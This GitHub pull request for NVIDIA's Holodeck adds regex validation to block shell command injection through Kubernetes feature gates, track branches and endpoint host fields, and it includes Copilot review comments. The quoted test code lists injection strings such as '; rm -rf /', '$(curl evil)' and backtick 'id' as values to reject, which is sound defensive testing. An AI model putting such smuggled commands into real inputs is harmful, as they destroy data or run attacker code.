Skip to content

fix(templates): validate feature gates, track branches, and endpoint host#647

Merged
ArangoGutierrez merged 1 commit intoNVIDIA:mainfrom
ArangoGutierrez:fix/template-input-validation
Feb 13, 2026
Merged

fix(templates): validate feature gates, track branches, and endpoint host#647
ArangoGutierrez merged 1 commit intoNVIDIA:mainfrom
ArangoGutierrez:fix/template-input-validation

Conversation

@ArangoGutierrez
Copy link
Collaborator

Summary

  • Add featureGatePattern regex to validate K8sFeatureGates entries match FeatureName=true|false
  • Reuse gitRefPattern to validate Latest.Track branches for both Kubernetes and NVIDIA Container Toolkit
  • Add hostnamePattern regex to validate K8sEndpointHost against shell injection

These fields are interpolated into shell scripts generated by the provisioner templates but were not previously covered by ValidateTemplateInputs(), allowing potential command injection via shell metacharacters.

Audit Findings

Test Plan

  • Pattern unit tests for featureGatePattern (accepts valid gates, rejects injection)
  • Pattern unit tests for hostnamePattern (accepts valid hosts/IPs, rejects injection)
  • Integration tests: ValidateTemplateInputs rejects shell injection in feature gates
  • Integration tests: ValidateTemplateInputs rejects shell injection in K8s track branch
  • Integration tests: ValidateTemplateInputs rejects shell injection in CTK track branch
  • Integration tests: ValidateTemplateInputs rejects shell injection in endpoint host
  • Acceptance tests: valid feature gates, track branches, and endpoint hosts pass validation
  • All existing template tests continue to pass (88 tests total)
  • gofmt, golangci-lint, go build, go mod tidy && go mod verify all pass

…host

These fields are interpolated into shell scripts but were not covered
by ValidateTemplateInputs(). Add featureGatePattern for K8sFeatureGates,
reuse gitRefPattern for Latest.Track branches (K8s + CTK), and add
hostnamePattern for K8sEndpointHost.

Audit findings NVIDIA#16 (MEDIUM), NVIDIA#32 (LOW), NVIDIA#33 (LOW).

Signed-off-by: Carlos Eduardo Arango Gutierrez <eduardoa@nvidia.com>
Copilot AI review requested due to automatic review settings February 12, 2026 19:45
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR hardens Holodeck’s provisioner template input validation to prevent shell command injection in user-controlled fields that are interpolated into generated shell scripts.

Changes:

  • Add featureGatePattern validation for K8sFeatureGates entries (FeatureName=true|false).
  • Validate Latest.Track branch names (Kubernetes + NVIDIA Container Toolkit) using the existing gitRefPattern.
  • Add hostnamePattern validation for K8sEndpointHost and expand unit/integration coverage around these validations.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.

File Description
pkg/provisioner/templates/validate.go Adds new regex patterns and enforces validation for feature gates, track branches, and endpoint host.
pkg/provisioner/templates/validate_test.go Adds unit tests for new regexes and integration tests ensuring ValidateTemplateInputs rejects injection attempts.

Comment on lines +156 to +162
accept := []string{"host.example.com", "192.168.1.1", "k8s-api:6443", "my-host"}
reject := []string{
"host.com; rm -rf /",
"$(curl evil)",
"host && bad",
"host`id`",
"; echo pwned",
Copy link

Copilot AI Feb 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

TestHostnamePattern treats k8s-api:6443 as a valid K8sEndpointHost, but the kubeadm templates append :6443 to the value, so accepting host:port can lead to malformed endpoints (...:6443:6443). Adjust the accepted cases to match the intended contract (host-only) or update the implementation to support optional ports consistently.

Suggested change
accept := []string{"host.example.com", "192.168.1.1", "k8s-api:6443", "my-host"}
reject := []string{
"host.com; rm -rf /",
"$(curl evil)",
"host && bad",
"host`id`",
"; echo pwned",
accept := []string{"host.example.com", "192.168.1.1", "my-host"}
reject := []string{
"host.com; rm -rf /",
"$(curl evil)",
"host && bad",
"host`id`",
"; echo pwned",
"k8s-api:6443",

Copilot uses AI. Check for mistakes.
Comment on lines 45 to 146
@@ -114,6 +120,32 @@ func ValidateTemplateInputs(env v1alpha1.Environment) error {
}
}

// Validate track branches (same rules as git refs)
if env.Spec.Kubernetes.Latest != nil && env.Spec.Kubernetes.Latest.Track != "" {
if !gitRefPattern.MatchString(env.Spec.Kubernetes.Latest.Track) {
return fmt.Errorf("invalid kubernetes latest track branch: %q contains disallowed characters", env.Spec.Kubernetes.Latest.Track)
}
}
if env.Spec.NVIDIAContainerToolkit.Latest != nil && env.Spec.NVIDIAContainerToolkit.Latest.Track != "" {
if !gitRefPattern.MatchString(env.Spec.NVIDIAContainerToolkit.Latest.Track) {
return fmt.Errorf("invalid nvidia container toolkit latest track branch: %q contains disallowed characters", env.Spec.NVIDIAContainerToolkit.Latest.Track)
}
}

// Validate feature gates
for _, gate := range env.Spec.Kubernetes.K8sFeatureGates {
if !featureGatePattern.MatchString(gate) {
return fmt.Errorf("invalid kubernetes feature gate: %q must match FeatureName=true|false", gate)
}
}

// Validate endpoint host
if env.Spec.Kubernetes.K8sEndpointHost != "" {
if !hostnamePattern.MatchString(env.Spec.Kubernetes.K8sEndpointHost) {
return fmt.Errorf("invalid kubernetes endpoint host: %q contains disallowed characters", env.Spec.Kubernetes.K8sEndpointHost)
}
Copy link

Copilot AI Feb 12, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hostnamePattern currently allows : and the hostname tests accept values like k8s-api:6443, but the Kubernetes templates append :6443 when using K8sEndpointHost (e.g., --control-plane-endpoint="${K8S_ENDPOINT_HOST}:6443" and controlPlaneEndpoint: "{{.ControlPlaneEndpoint}}:6443"). This combination can produce invalid endpoints like k8s-api:6443:6443 if a user includes a port. Consider either tightening validation to reject host:port (no : allowed), or updating the templates/templating data model to treat this field as host[:port] and only append the default port when none is provided.

Copilot uses AI. Check for mistakes.
@coveralls
Copy link

Pull Request Test Coverage Report for Build 21961704208

Details

  • 16 of 16 (100.0%) changed or added relevant lines in 1 file are covered.
  • No unchanged relevant lines lost coverage.
  • Overall coverage increased (+0.3%) to 47.755%

Totals Coverage Status
Change from base Build 21955389842: 0.3%
Covered Lines: 2521
Relevant Lines: 5279

💛 - Coveralls

@ArangoGutierrez ArangoGutierrez merged commit 4546465 into NVIDIA:main Feb 13, 2026
25 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants